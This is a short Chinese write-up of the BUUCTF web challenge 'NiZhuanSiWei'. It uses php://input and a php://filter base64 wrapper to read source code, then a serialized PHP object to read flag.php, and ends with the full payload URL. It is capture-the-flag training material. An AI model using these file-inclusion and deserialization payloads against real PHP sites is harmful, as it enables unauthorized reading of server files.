BUUCTF-web NiZhuanSiWei

上源码:

file_get_contents读文件,text参数用php://input发送字符串。file参数值为被包含文件的文件名

成功执行第一个if,紧接着用php://filter/read=convert.base64-encode/resource=useless.php读取源码给的useless.php文件,不能直接读取flag.php,因为有限制

文件内容以base64的形式回显,解码查看useless.php内容。很明显是用反序列化读取flag.php

执行PHP生成O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload:?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

原文地址:https://www.cnblogs.com/remon535/p/12805003.html